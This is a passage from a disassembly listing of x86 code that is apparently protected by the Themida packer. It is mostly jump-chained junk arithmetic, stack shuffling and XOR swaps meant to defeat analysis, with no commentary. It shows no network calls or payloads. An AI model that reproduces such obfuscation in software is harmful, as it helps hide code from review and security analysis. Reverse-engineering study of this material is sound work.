esi sub ebx, 22C71185h pop esi push edi push esi mov esi, 48D10857h mov edi, 0B72EF7ADh jmp loc_569546 ; --------------------------------------------------------------------------- loc_564279: ; CODE XREF: sub_562ABA+91A1j xor ebx, 0CD1476Eh add ebx, 0D9ACC56Ch or esi, ebx pop ebx push ebx push edx mov edx, 0F592AFEh jmp loc_561636 ; --------------------------------------------------------------------------- loc_564294: ; CODE XREF: sub_562ABA+D4D3j add esp, 4 push 61BDh jmp loc_56EB39 ; --------------------------------------------------------------------------- loc_5642A4: ; CODE XREF: sub_562ABA+F0A6j push esi mov esi, 41DD52AFh sub ebp, 3D71636Dh jmp loc_571EA0 ; --------------------------------------------------------------------------- loc_5642B5: ; CODE XREF: sub_562ABA-1A53j mov bh, 0D8h jmp loc_567D9E ; --------------------------------------------------------------------------- loc_5642BC: ; CODE XREF: sub_562ABA+C7CFj push 58F7h mov [esp+12h+var_12], edx push esp pop edx push 4606h mov [esp+16h+var_16], esi mov esi, 67BF11EDh or esi, 69DA13B8h sub esi, 0FFFFFFFFh add esi, 9000EC06h add edx, esi mov esi, [esp+16h+var_16] add esp, 4 sub edx, 4 xchg edx, [esp+12h+var_12] mov esp, [esp+12h+var_12] mov [esp+12h+var_12], ecx mov ecx, 2 sub ebp, ecx pop ecx xor ebp, [esp+0] xor [esp+0], ebp xor ebp, [esp+0] mov esp, [esp+0] mov [esp+0], cx jmp loc_55E09F ; --------------------------------------------------------------------------- loc_564313: ; CODE XREF: sub_562ABA+1C78j pop ecx add edi, 0FFFFFFFFh add edi, 208F0C15h jmp loc_56C029 ; --------------------------------------------------------------------------- loc_564325: ; CODE XREF: sub_562ABA+1153j add esp, 4 add esi, 4 sub esi, 4 xchg esi, [esp+48h+var_4A+2] pop esp mov [esp+44h+var_46+2], esi jmp loc_56A68C ; --------------------------------------------------------------------------- loc_564340: ; CODE XREF: sub_562ABA+D4C8j push 7F26h mov [esp+48h+var_4A+2], ebp mov ebp, 4 push ebp jmp loc_56DE57 ; --------------------------------------------------------------------------- loc_564353: ; CODE XREF: sub_562ABA+A3Bj mov ecx, 4 sub esi, 2EA1799Ch sub esi, 4C187802h add esi, ecx jmp loc_568F4D ; --------------------------------------------------------------------------- loc_56436B: ; CODE XREF: sub_562ABA-18FDj push ebp jmp loc_56CC34 ; --------------------------------------------------------------------------- loc_564371: ; CODE XREF: sub_562ABA+1543j mov edx, 45C9167Ch and esi, edx pop edx add esi, 4F166B8Bh add esi, 2A852958h push ecx push esi jmp loc_564A32 ; --------------------------------------------------------------------------- loc_56438C: ; CODE XREF: sub_562ABA+2693j xor esi, 5020DCACh xor edi, esi pop esi jmp loc_561C20 ; --------------------------------------------------------------------------- loc_56439A: ; CODE XREF: sub_562ABA+3603j add edx, 4 sub esp, 4 jmp loc_5657CB ; --------------------------------------------------------------------------- loc_5643AB: ; CODE XREF: sub_562ABA-2F5Fj mov dh, 9Bh mov al, 0Ah sub al, dh pop edx sub bl, al pop eax push eax mov ah, 87h push edx mov dh, 4Eh jmp loc_56D6FD ; --------------------------------------------------------------------------- loc_5643C0: ; CODE XREF: sub_562ABA+40A1j mov [esp+1Ah+var_1A], ebx jmp loc_55F0FB ; --------------------------------------------------------------------------- loc_5643C8: ; CODE XREF: sub_562ABA+86E3j mov ch, 0Ch push eax push ebx mov bl, dh mov ah, bl pop ebx mov dh, ch jmp loc_567D0B ; --------------------------------------------------------------------------- loc_5643D8: ; CODE XREF: sub_562ABA+C494j mov esp, [esp+1Eh+var_1E] mov [esp+1Eh+var_1E], ecx jmp loc_56CC46 ; --------------------------------------------------------------------------- loc_5643E3: ; CODE XREF: sub_562ABA+8651j mov [esp+1Eh+var_1E], esp jmp loc_5610E2 ; --------------------------------------------------------------------------- loc_5643EB: ; CODE XREF: sub_562ABA+A79Fj shr ch, 6 and ch, 0A8h jmp loc_56A5F9 ; --------------------------------------------------------------------------- loc_5643F6: ; CODE XREF: sub_562ABA+FED1j add eax, ecx pop ecx add eax, 4 xchg eax, [esp+1Ah+var_1A] pop esp and eax, ebx pop ebx or eax, eax jz loc_55E1C3 push dword ptr [edi+1Ch] push [esp+16h+var_16] jmp $+5 push [esp+1Ah+var_1A] mov ecx, [esp+1Eh+var_1E] add esp, 4 add esp, 4 push eax jmp loc_570789 ; --------------------------------------------------------------------------- loc_56442E: ; CODE XREF: sub_562ABA+8D72j add eax, 4 add eax, 4 xchg eax, [esp+1Ah+var_1A] pop esp add esi, 810EC1FCh mov edx, esi mov esi, [esp+16h+var_16] add esp, 4 sub ebx, 23786886h add ebx, edx add ebx, 23786886h jmp loc_562B2E ; --------------------------------------------------------------------------- loc_56445D: ; CODE XREF: sub_562ABA+77D1j mov [esp+12h+var_12], ebp mov ebp, 7D516B02h sub [esp+4], ebp push [esp+12h+var_12] pop ebp jmp loc_55FBCD ; --------------------------------------------------------------------------- loc_564472: ; CODE XREF: sub_562ABA+625j push dword ptr [esp+0] push [esp+12h+var_12] jmp loc_56C6D4 ; --------------------------------------------------------------------------- loc_56447D: ; CODE XREF: sub_562ABA+FFDCj popf retn ; --------------------------------------------------------------------------- jmp loc_5685A7 ; --------------------------------------------------------------------------- loc_564484: ; CODE XREF: sub_562ABA-3987j sub ecx, 0ED4BEA70h jmp loc_55F995 ; --------------------------------------------------------------------------- loc_56448F: ; DATA XREF: Themida_:0055DDD4o push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp+38h+var_3A+2], cl pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56449E: ; CODE XREF: sub_562ABA+FAEj pop bx sub al, ch push [esp+1Ah+var_1A] pop ecx push ecx mov ecx, esp add ecx, 4 jmp sub_55F27A ; --------------------------------------------------------------------------- loc_5644B4: ; CODE XREF: Themida_:005605C5j mov ebx, 24AE7DCCh mov edi, ebx pop ebx xor edi, 2B361451h sub edi, 0F986999h sub eax, 25E66D3Bh sub eax, 49F07FB8h add eax, edi jmp loc_56691E ; --------------------------------------------------------------------------- loc_5644D9: ; CODE XREF: Themida_:00561387j mov edi, 4 sub edx, edi jmp loc_5702B1 ; --------------------------------------------------------------------------- loc_5644E5: ; CODE XREF: sub_562ABA+E82Fj xchg eax, ebp inc ebp xchg eax, ebp jmp loc_5609CE ; --------------------------------------------------------------------------- loc_5644ED: ; CODE XREF: sub_562ABA+E89Dj push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_55E591 ; --------------------------------------------------------------------------- loc_564501: ; CODE XREF: sub_562ABA+C505j push ebp push 77D53669h pop ebp xor edx, ebp pop ebp or edx, 52AA67DDh push 2753h mov [esp+22h+var_22], ecx push edx mov edx, 352C4C22h mov ecx, 6DF574BCh jmp loc_56C5F1 ; --------------------------------------------------------------------------- loc_564529: ; CODE XREF: sub_562ABA+213Bj mov edx, 90F064Dh add edx, 32C174ECh shr edx, 4 dec edx shl edx, 3 sub edx, 0A518CFC6h xor ebp, edx jmp loc_55FF4D ; --------------------------------------------------------------------------- loc_564548: ; CODE XREF: sub_562ABA+A4F1j push 3F17h mov [esp+2Ah+var_2C+2], edx push eax pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_564557: ; CODE XREF: sub_562ABA-4558j mov ebp, 676A4E87h add ecx, 5FA302F8h add ecx, ebp sub ecx, 5FA302F8h pop ebp xor ecx, 66E15E5h shr ecx, 7 not ecx not ecx sub ecx, 0B8AC74ACh xor ebx, ecx jmp loc_566AC6 ; --------------------------------------------------------------------------- loc_564585: ; CODE XREF: sub_562ABA+5F5Aj add edx, 30493811h not edx dec edx add edx, 846931CBh jmp loc_56827C ; --------------------------------------------------------------------------- loc_564599: ; CODE XREF: sub_562ABA+F664j add edi, 4 xchg edi, [esp+32h+var_32] pop esp jmp loc_56B092 ; --------------------------------------------------------------------------- loc_5645A5: ; CODE XREF: sub_562ABA+DE72j neg esi shl esi, 2 xchg edx, esi inc edx xchg edx, esi jmp loc_56EE32 ; --------------------------------------------------------------------------- loc_5645B4: ; CODE XREF: sub_562ABA+4D5Cj sub esp, 4 mov [esp+32h+var_32], edi jmp loc_565523 ; --------------------------------------------------------------------------- loc_5645BF: ; CODE XREF: sub_562ABA+B9F0j push ebx mov ebx, 4 add ecx, ebx pop ebx xchg ecx, [esp+32h+var_32] pop esp xchg bh, ch jmp loc_562CE3 ; --------------------------------------------------------------------------- loc_5645D3: ; CODE XREF: sub_562ABA+424Fj push esi mov esi, esp add esi, 4 push ebp push edx jmp loc_56205B ; --------------------------------------------------------------------------- loc_5645E3: ; CODE XREF: sub_560F80+8j push eax mov eax, 7F82DCBh xor eax, 29AB27A5h inc eax jmp loc_55E1FD ; --------------------------------------------------------------------------- loc_5645F4: ; CODE XREF: sub_562ABA+5E83j pop eax add eax, esi mov esi, [esp+3Ah+var_3A] jmp loc_566C5E ; --------------------------------------------------------------------------- loc_5645FF: ; CODE XREF: sub_562ABA-10C7j shl ecx, 3 xor ecx, 5FB9DCBh jmp loc_570F26 ; --------------------------------------------------------------------------- loc_56460D: ; CODE XREF: sub_562ABA+BA1j sub edi, 2CEA1E89h add edi, esi add edi, 2CEA1E89h pop esi xor edi, 60613EE8h jmp loc_56D0C3 ; --------------------------------------------------------------------------- loc_564627: ; CODE XREF: sub_562ABA-1CDDj push [esp+2Ah+var_2C+2] jmp loc_56EFC4 ; --------------------------------------------------------------------------- loc_56462F: ; CODE XREF: sub_562ABA-20F1j pop ebx push eax push ebp push 4 jmp loc_565BD0 ; --------------------------------------------------------------------------- loc_56463C: ; CODE XREF: sub_562ABA-33Ej dec ebp inc ebp jmp loc_56D20F ; --------------------------------------------------------------------------- loc_564643: ; CODE XREF: sub_562ABA+F855j pop esp push ebx mov ebx, esp add ebx, 4 push ecx jmp loc_5625EB ; --------------------------------------------------------------------------- loc_564653: ; CODE XREF: sub_562ABA+A1C8j or edx, eax shl edx, 1 push dword ptr [edi+24h] push 1042h mov [esp+4Ah+var_4A], edi mov edi, 1 sub esp, 4 mov [esp+4Eh+var_4E], edi mov edi, 6FDA3278h jmp loc_562623 ; --------------------------------------------------------------------------- loc_564677: ; CODE XREF: sub_562ABA+9F90j pop esp mov [esp+4Ah+var_4A], edi mov edi, 6765685Dh jmp loc_567148 ; --------------------------------------------------------------------------- loc_564685: ; CODE XREF: sub_562ABA+9C05j sub edx, 6C594788h jmp loc_566E46 ; --------------------------------------------------------------------------- loc_564690: ; CODE XREF: sub_562ABA+5C5j sub edi, 1FF01D3Ch add edi, eax add edi, 1FF01D3Ch pop eax jmp loc_56F413 ; --------------------------------------------------------------------------- loc_5646A4: ; CODE XREF: sub_562ABA+8BDEj push esi mov esi, 4 add ebp, 36A67A31h add ebp, esi push eax mov eax, 36A67A31h sub ebp, eax push dword ptr [esp+0] pop eax push eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp+32h+var_32] pop esp pop esi xor ebp, [esp+2Ah+var_2C+2] xor [esp+2Ah+var_2C+2], ebp jmp loc_569C24 ; --------------------------------------------------------------------------- loc_5646D9: ; CODE XREF: sub_562ABA+8A9Bj mov ch, 0ECh xor ch, bl pop ebx mov bl, ch pop ecx dec bl push cx mov ch, 0AEh sub bl, ch pop cx add al, 2Ch sub al, bl push ecx mov ch, 2Ch sub al, ch mov ecx, [esp+26h+var_28+2] add esp, 4 mov ebx, [esp+22h+var_22] push 6198h mov [esp+26h+var_28+2], edi mov edi, esp jmp loc_568617 ; --------------------------------------------------------------------------- loc_56470C: ; CODE XREF: sub_562ABA+A624j pop ebp and ecx, edx push [esp+22h+var_22] mov edx, [esp+26h+var_28+2] add esp, 4 add esp, 4 shr ecx, 6 push ebx jmp loc_564E39 ; --------------------------------------------------------------------------- loc_564727: ; CODE XREF: sub_562ABA+6C0j sub edi, ecx pop ecx push ecx mov ecx, 22B23787h add edi, ecx jmp loc_564313 ; --------------------------------------------------------------------------- loc_564737: ; CODE XREF: sub_562ABA+C43Dj push 38E7h mov [esp-4+arg_0], edx mov edx, 584271D4h sub ebp, edx pop edx add ebp, esi add ebp, 584271D4h sub ebp, 69362423h jmp loc_56F749 ; --------------------------------------------------------------------------- loc_56475A: ; CODE XREF: sub_562ABA+F7F8j mov ecx, [esp-8+arg_4] add esp, 4 jmp loc_5661CB ; --------------------------------------------------------------------------- loc_564765: ; CODE XREF: sub_562ABA-1E58j not [esp+6+var_8+2] jmp loc_56C442 ; --------------------------------------------------------------------------- loc_56476D: ; CODE XREF: sub_562ABA+BF46j push 27F2h mov [esp+0Ah+var_C+2], eax push [esp+0Ah+var_8+2] mov eax, [esp+0] add esp, 4 pop [esp+0Ah+var_C+2] jmp loc_569B9F ; --------------------------------------------------------------------------- loc_56478A: ; CODE XREF: Themida_:0057205Aj mov [esp+6+var_8+2], esi push esp push [esp+0Ah+var_C+2] pop esi jmp loc_5676B1 ; --------------------------------------------------------------------------- loc_564797: ; CODE XREF: sub_562ABA+DFCFj mov edi, 47D0017Ch add edi, 5C835120h jmp loc_56CB24 ; --------------------------------------------------------------------------- loc_5647A7: ; CODE XREF: sub_562ABA+3551j add ecx, 5A014B57h add ecx, 792F4A8Dh add ecx, 3951222h add ecx, 27343C07h mov ebx, [esp+0Ah+var_C+2] jmp loc_566645 ; --------------------------------------------------------------------------- push [esp+0Ah+var_C+2] pop eax push 39E0h mov [esp+0], ebx mov ebx, esp sub esp, 4 mov [esp+12h+var_12], edi jmp loc_56BC8D ; --------------------------------------------------------------------------- loc_5647E0: ; CODE XREF: sub_562ABA+FBAEj xor edx, [esp+12h+var_12] xor [esp+12h+var_12], edx xor edx, [esp+12h+var_12] mov esp, [esp+12h+var_12] add [esp+12h+var_12], eax pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_5647F5: ; CODE XREF: sub_562ABA-3DB3j add edi, 4 xchg edi, [esp+26h+var_28+2] pop esp push ebx push esp pop ebx push edi mov edi, 186B6D51h jmp loc_56A3DF ; --------------------------------------------------------------------------- loc_56480D: ; DATA XREF: Themida_:0055DFC8o mov ax, word ptr [esp+2Ah+var_2C+2] jmp sub_56279F ; --------------------------------------------------------------------------- loc_564816: ; CODE XREF: sub_55FCA5+488j add esp, 4 push edx sub esp, 4 mov [esp+0], esp jmp loc_572332 ; --------------------------------------------------------------------------- loc_564828: ; CODE XREF: sub_55FA0F+11j dec ebx not ebx xor ebx, 0EEF8B71Dh jmp loc_566576 ; --------------------------------------------------------------------------- loc_564836: ; CODE XREF: sub_562ABA+F1D7j push bx jmp loc_566213 ; --------------------------------------------------------------------------- loc_56483D: ; CODE XREF: sub_562ABA+398Ej mov eax, 1 sub ebp, eax jmp loc_566724 ; --------------------------------------------------------------------------- loc_564849: ; CODE XREF: sub_562ABA-1C7Bj push ebx mov ebx, 754E77CDh inc ebx jmp loc_565C9F ; --------------------------------------------------------------------------- loc_564855: ; CODE XREF: sub_562ABA+139Fj add esp, 4 sub eax, 0F3BDB6E5h or edx, eax pop eax shl edx, 5 add edx, 8A900C64h jmp loc_570F40 ; --------------------------------------------------------------------------- loc_56486E: ; CODE XREF: sub_562ABA+D7F2j push ebp push ebx jmp loc_572A1C ; --------------------------------------------------------------------------- loc_564875: ; CODE XREF: sub_562ABA+6CE2j add ebp, ebx pop ebx add edi, ebp pop ebp xor edi, [esp+1Eh+var_1E] xor [esp+1Eh+var_1E], edi jmp loc_565E15 ; --------------------------------------------------------------------------- loc_564886: ; CODE XREF: sub_562ABA+D5B6j sub esp, 4 mov [esp+22h+var_22], eax mov eax, 4 add edi, eax mov eax, [esp+22h+var_22] add esp, 4 push edi jmp loc_55F500 ; --------------------------------------------------------------------------- loc_5648A5: ; CODE XREF: sub_562ABA+FAC5j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+22h+var_22] mov esp, [esp+22h+var_22] push esi mov esi, esp jmp loc_56D63E ; --------------------------------------------------------------------------- loc_5648BE: ; CODE XREF: sub_562ABA-3468j mov [esp+26h+var_28+2], ebp push edi mov edi, 58FB0664h mov ebp, edi pop edi not ebp jmp loc_55F115 ; --------------------------------------------------------------------------- loc_5648D1: ; CODE XREF: sub_562ABA+C567j add al, 62h jmp loc_571D03 ; --------------------------------------------------------------------------- loc_5648D8: ; CODE XREF: sub_562ABA+ED02j push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_566EA4 ; --------------------------------------------------------------------------- loc_5648EC: ; CODE XREF: sub_562ABA-15D7j mov dl, ah pop ax push 1222h mov [esp-4+arg_0], edx sub esp, 4 jmp loc_56AFAF ; --------------------------------------------------------------------------- loc_564903: ; CODE XREF: sub_562ABA+8B95j push esi push ebp push 306B3614h jmp loc_56CACE ; --------------------------------------------------------------------------- loc_56490F: ; CODE XREF: sub_562ABA+5F1Dj sub [esp+0Ch+var_8], edi pop edi pop ecx jmp loc_56BFAA ; --------------------------------------------------------------------------- mov esp, [esp+4+var_4] jmp loc_55E09F ; --------------------------------------------------------------------------- loc_564922: ; CODE XREF: sub_562ABA+D4BEj mov ebp, [esp+4+var_4] add esp, 4 push ecx jmp loc_5623DB ; --------------------------------------------------------------------------- loc_56492E: ; CODE XREF: sub_562ABA+B648j add ebx, 65A16606h pop ecx sub ebx, edi add ebx, 1B6693Ch push edi mov edi, 7EBF71B1h add edi, 0B9AE9A4Eh sub ebx, edi pop edi pop edi xor ebx, [esp-4+arg_0] xor [esp-4+arg_0], ebx xor ebx, [esp-4+arg_0] pop esp mov [esp-8+arg_4], eax jmp loc_560E17 ; --------------------------------------------------------------------------- loc_56495F: ; CODE XREF: sub_562ABA+7852j add edi, 4 add edi, 4 xchg edi, [esp-8+arg_4] pop esp add esp, 4 push 4B56h jmp loc_55E26C ; --------------------------------------------------------------------------- loc_56497C: ; CODE XREF: sub_562ABA+226Bj sub bl, 0C9h jmp loc_5650CC ; --------------------------------------------------------------------------- loc_564984: ; CODE XREF: sub_562ABA+A29Cj add edi, ebp add edi, 13BC7FEAh pop ebp push esi mov esi, 514103DCh xor esi, 514103DEh jmp loc_560DC5 ; --------------------------------------------------------------------------- loc_56499E: ; CODE XREF: sub_562ABA+D832j add ecx, 4 jmp loc_5698D7 ; --------------------------------------------------------------------------- loc_5649A9: ; CODE XREF: sub_562ABA+8745j pop esp pop [esp-10h+arg_C] mov esp, [esp-14h+arg_10] mov word ptr [esp-14h+arg_10], cx jmp loc_56E3FA ; --------------------------------------------------------------------------- loc_5649B9: ; CODE XREF: sub_562ABA+987Bj add edx, eax pop eax push ecx push 6D87h mov [esp-10h+arg_C], edx push 43A93E02h pop edx push edx xchg edx, [esp-0Ch+arg_8] not edx xchg edx, [esp-0Ch+arg_8] pop edx push esi mov esi, 4EB9192Ch dec esi xor esi, 492277DEh or esi, 55E25C97h add esi, 645B4302h jmp loc_562B92 ; --------------------------------------------------------------------------- loc_5649F3: ; CODE XREF: sub_562ABA+4DCAj add esp, 4 sub esp, 4 mov [esp-0Ch+arg_8], edi jmp loc_5667D4 ; --------------------------------------------------------------------------- loc_564A04: ; CODE XREF: sub_562ABA+E056j sub edx, 313D205Bh add edx, 45193C71h xor edx, 3FDC10DDh add edx, 6B62324Bh add edx, 607DADBBh mov ebx, edx mov edx, [esp-0Ch+arg_8] jmp loc_55E704 ; --------------------------------------------------------------------------- loc_564A2C: ; CODE XREF: Themida_:0055F320j pop eax jmp loc_56EB65 ; --------------------------------------------------------------------------- loc_564A32: ; CODE XREF: sub_562ABA+18CDj mov esi, 30993699h push esi pop ecx pop esi jmp loc_57283E ; --------------------------------------------------------------------------- loc_564A3F: ; CODE XREF: sub_562ABA+10036j pop ecx jmp loc_5715BC ; --------------------------------------------------------------------------- loc_564A45: ; CODE XREF: sub_562ABA+3CEDj push 2FD0h mov [esp+12h+var_12], edi push eax mov eax, 4F9F4374h push ebx mov ebx, 13346A75h mov edi, 0D65D6281h add edi, 61ED47ACh sub edi, ebx sub edi, 61ED47ACh pop ebx jmp loc_560AA0 ; --------------------------------------------------------------------------- loc_564A72: ; CODE XREF: sub_562ABA+1234j pop ecx jmp loc_565E6F ; --------------------------------------------------------------------------- loc_564A78: ; CODE XREF: sub_562ABA+C1F9j shl ecx, 4 push ebp mov ebp, 6A3F717Bh jmp loc_572577 ; --------------------------------------------------------------------------- loc_564A86: ; CODE XREF: sub_55FCA5+428j pop edi pop edi add eax, ebx add eax, 4B293CAAh sub esp, 4 mov [esp+16h+var_16], ebp push edx mov edx, 0EF02E6Eh push esi jmp loc_568204 ; --------------------------------------------------------------------------- loc_564AA4: ; CODE XREF: sub_562ABA+C836j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp+22h+var_22] xor [esp+22h+var_22], ebp xor ebp, [esp+22h+var_22] pop esp jmp loc_56AB3B ; --------------------------------------------------------------------------- sub esp, 4 jmp loc_56E9C9 ; --------------------------------------------------------------------------- loc_564ACA: ; CODE XREF: sub_562ABA-1078j xor [esp+40h+var_42+2], ebx jmp loc_56DA55 ; --------------------------------------------------------------------------- loc_564AD2: ; CODE XREF: sub_562ABA+B9DBj pop esp mov ch, bh push [esp+3Ch+var_3E+2] mov ebx, [esp+40h+var_42+2] push eax mov eax, esp jmp loc_55F4D6 ; --------------------------------------------------------------------------- loc_564AE3: ; CODE XREF: sub_562ABA+C9CFj mov eax, 4D2C4462h jmp sub_55F332 ; --------------------------------------------------------------------------- loc_564AED: ; CODE XREF: sub_562ABA+E33j pop esp jmp loc_5710A6 ; --------------------------------------------------------------------------- loc_564AF3: ; CODE XREF: sub_562ABA+FF3Ej mov edi, 4 jmp loc_56CBFA ; --------------------------------------------------------------------------- loc_564AFD: ; CODE XREF: sub_562ABA+8406j push ebx mov ebx, 4 push esi mov esi, 50CF600Fh shr esi, 5 neg esi jmp loc_56DD07 ; --------------------------------------------------------------------------- loc_564B13: ; CODE XREF: sub_562ABA+6E3Fj pop eax xor eax, esi mov esi, [esp+48h+var_4A+2] push edx mov edx, esp add edx, 4 jmp loc_561952 ; --------------------------------------------------------------------------- loc_564B27: ; CODE XREF: sub_562ABA+4914j pop ebx add esp, 4 jmp loc_56BE93 ; --------------------------------------------------------------------------- loc_564B30: ; CODE XREF: sub_562ABA+C29j pop ebx and edx, 72875B30h dec edx sub esp, 4 mov [esp+16h+var_16], edx not [esp+16h+var_16] pop edx sub edx, 0DFFEF4ECh add ebx, edx pop edx sub esp, 4 mov [esp+12h+var_12], ebx push dword ptr [esp+4] pop ebx pop [esp+12h+var_12] mov esp, [esp+0] jmp loc_55E09F ; --------------------------------------------------------------------------- loc_564B64: ; CODE XREF: sub_562ABA+7649j mov edi, 30435BE1h mov eax, edi jmp loc_568935 ; --------------------------------------------------------------------------- loc_564B70: ; CODE XREF: sub_562ABA+27ECj not eax xor eax, 0FFCDFF7Bh sub edi, 13A94649h add edi, eax add edi, 13A94649h jmp loc_56A2EF ; --------------------------------------------------------------------------- loc_564B8A: ; CODE XREF: sub_562ABA+3447j pop esp add [esp+0Ah+var_8+2], 79C01A8Ah sub [esp+0Ah+var_8+2], ebx push ebp mov ebp, 79C01A8Ah sub [esp+0Eh+var_8+2], ebp pop ebp mov ebx, [esp+0Ah+var_C+2] add esp, 4 jmp loc_55E09F ; --------------------------------------------------------------------------- loc_564BAD: ; CODE XREF: sub_562ABA+D63Cj push ebx push 3955h jmp loc_56D030 ; --------------------------------------------------------------------------- loc_564BB8: ; CODE XREF: sub_562ABA+5C53j push 7EF13E06h mov esi, [esp+12h+var_12] jmp loc_56B81A ; --------------------------------------------------------------------------- loc_564BC5: ; CODE XREF: sub_562ABA+AF15j push eax jmp loc_56BA84 ; --------------------------------------------------------------------------- loc_564BCB: ; CODE XREF: sub_562ABA-4206j push ebp jmp loc_566EAF ; --------------------------------------------------------------------------- loc_564BD1: ; CODE XREF: sub_562ABA-2620j pop ebx add ebx, eax mov eax, [esp+0] add esp, 4 xchg ebx, [esp+0Ah+var_C+2] mov esp, [esp+0Ah+var_C+2] mov ax, word ptr [esp+0Ah+var_C+2] push 0C73h mov [esp+0], edi jmp loc_55FB60 ; --------------------------------------------------------------------------- loc_564BF4: ; CODE XREF: sub_562ABA+4807j push edx jmp loc_564529 ; --------------------------------------------------------------------------- loc_564BFA: ; CODE XREF: sub_562ABA+3616j pop esi jmp loc_56FF98 ; --------------------------------------------------------------------------- loc_564C00: ; CODE XREF: sub_562ABA+DDA7j inc ecx add ecx, 710A5157h jmp loc_55F2A2 ; --------------------------------------------------------------------------- loc_564C0C: ; CODE XREF: sub_562ABA+3455j push dword ptr [esp+0] pop eax add esp, 4 xchg edi, [esp+0Ah+var_C+2] jmp loc_5606AD ; --------------------------------------------------------------------------- loc_564C1B: ; CODE XREF: sub_562ABA+F949j sub esi, 10C26464h xor esi, 3F757127h inc esi sub esi, 23C94BACh push eax mov eax, 0D207E58Ah sub esi, eax push dword ptr [esp+0] jmp loc_56EC95 ; --------------------------------------------------------------------------- loc_564C3E: ; CODE XREF: sub_562ABA+359Bj mov edx, 52ED3504h shr edx, 2 sub edx, 0EFD435B9h xor ecx, edx pop edx mov edx, [esp+0] add esp, 4 add ecx, edi pop edi xor [esp+6+var_4+2], ecx push [esp+6+var_8+2] pop ecx push ecx mov ecx, esp jmp loc_5700FB ; --------------------------------------------------------------------------- loc_564C68: ; CODE XREF: sub_562ABA+1170j add esp, 4 push esi push ecx mov ecx, 31AB2C11h shr ecx, 6 push esi jmp loc_5673B8 ; --------------------------------------------------------------------------- loc_564C7E: ; CODE XREF: sub_562ABA-87Fj shr ebx, 3 sub ebx, 321B5728h add ebx, 16E9EC18h add edi, ebx jmp loc_56653B ; --------------------------------------------------------------------------- loc_564C94: ; CODE XREF: sub_562ABA+CF93j sub ebx, 0F92BDC43h jmp loc_5651FA ; --------------------------------------------------------------------------- loc_564C9F: ; CODE XREF: sub_562ABA+F4B4j push ebx mov ebx, 4 add ebp, ebx pop ebx add ebp, 4 xchg ebp, [esp+14h+var_16+2] pop esp jmp loc_56B217 ; --------------------------------------------------------------------------- loc_564CB7: ; CODE XREF: sub_562ABA+BAC3j mov ecx, [esp+10h+var_12+2] push edx mov edx, esp push esi mov esi, 4 add edx, esi pop esi jmp loc_56B53D ; --------------------------------------------------------------------------- loc_564CCB: ; CODE XREF: Themida_:0055F157j mov ecx, 596D0D00h jmp loc_5728DA ; --------------------------------------------------------------------------- loc_564CD5: ; CODE XREF: sub_562ABA+DFF8j mov esi, [esp+14h+var_16+2] add esp, 4 add esp, 4 add ecx, 0FDEFBDF4h add edx, ecx jmp loc_570535 ; --------------------------------------------------------------------------- loc_564CEE: ; CODE XREF: sub_562ABA-1D36j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+32h+var_32] pop esp push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+32h+var_32] pop esp mov eax, [esp+0] add esp, 4 push ecx jmp loc_5703D0 ; --------------------------------------------------------------------------- loc_564D1F: ; CODE XREF: sub_562ABA-110j and bl, 89h sub bl, 50h jmp loc_56497C ; --------------------------------------------------------------------------- loc_564D2A: ; CODE XREF: sub_562ABA+3788j push [esp+2Ah+var_2C+2] push dword ptr [esp+0] pop eax jmp loc_55E6EA ; --------------------------------------------------------------------------- mov cx, [esp+0] jmp loc_5668CC ; --------------------------------------------------------------------------- loc_564D3F: ; CODE XREF: sub_562ABA-4471j add edx, 48DDD2BBh add ebp, edx mov edx, [esp+46h+var_46] add esp, 4 add esi, 3D1446EFh add esi, ebp sub esi, 3D1446EFh pop ebp push ecx mov ecx, 67762926h shr ecx, 3 push ebp mov ebp, 1 sub ecx, ebp pop ebp xor ecx, 2D5E3C59h push ecx xchg edx, [esp+46h+var_46] not edx push edx push [esp+4Ah+var_46] pop edx pop [esp+4Ah+var_4A] mov ecx, [esp+46h+var_46] add esp, 4 shl ecx, 2 xor ecx, 793C1A10h add esi, ecx pop ecx xchg esi, [esp+3Eh+var_3E] pop esp loc_564D9F: ; CODE XREF: sub_562ABA+108Bj push edx mov edx, esp sub esp, 4 jmp loc_56C404 ; --------------------------------------------------------------------------- loc_564DAD: ; CODE XREF: sub_562ABA+B059j push edx push [esp+46h+var_42] pop edx pop [esp+46h+var_46] pop esp add esi, ebx mov ebx, [esp+3Eh+var_3E] push edx mov edx, esp add edx, 4 jmp loc_55ED6E ; --------------------------------------------------------------------------- loc_564DCA: ; CODE XREF: sub_562ABA+11BEj pop eax push 5B0Eh mov [esp+36h+var_36], edx push edi mov edi, 7FA67874h sub [esp+3Ah+var_36], edi mov edi, [esp+3Ah+var_3A] jmp loc_5728F2 ; --------------------------------------------------------------------------- loc_564DE5: ; CODE XREF: sub_562ABA+4C19j add ebx, 4 add ebx, 4 xchg ebx, [esp+3Ah+var_3A] pop esp jmp loc_56BCCF ; --------------------------------------------------------------------------- loc_564DF7: ; CODE XREF: sub_562ABA+F9FDj dec edi not edi xor edi, ecx jmp loc_56D6CB ; --------------------------------------------------------------------------- loc_564E01: ; CODE XREF: sub_562ABA+B021j shl ebx, 2 xor ebx, 3F5271CFh mov ecx, ebx pop ebx push edi mov edi, esp jmp loc_561D87 ; --------------------------------------------------------------------------- loc_564E15: ; CODE XREF: sub_562ABA+9E12j xor ebx, [esp+36h+var_36] xor [esp+36h+var_36], ebx jmp loc_56AA89 ; --------------------------------------------------------------------------- loc_564E20: ; DATA XREF: Themida_:0055DDE4o lodsd xor eax, ebx jmp loc_567666 ; --------------------------------------------------------------------------- loc_564E28: ; DATA XREF: Themida_:0055DDC0o mov ax, word ptr [esp+36h+var_36] push 19DAh mov [esp+3Ah+var_3A], ebp jmp loc_563149 ; --------------------------------------------------------------------------- loc_564E39: ; CODE XREF: sub_562ABA+1C68j push 7D71h mov [esp+26h+var_28+2], eax mov eax, 10D2297Dh jmp loc_56F480 ; --------------------------------------------------------------------------- loc_564E4B: ; CODE XREF: sub_562ABA+2B1Ej push ecx jmp loc_56C102 ; --------------------------------------------------------------------------- 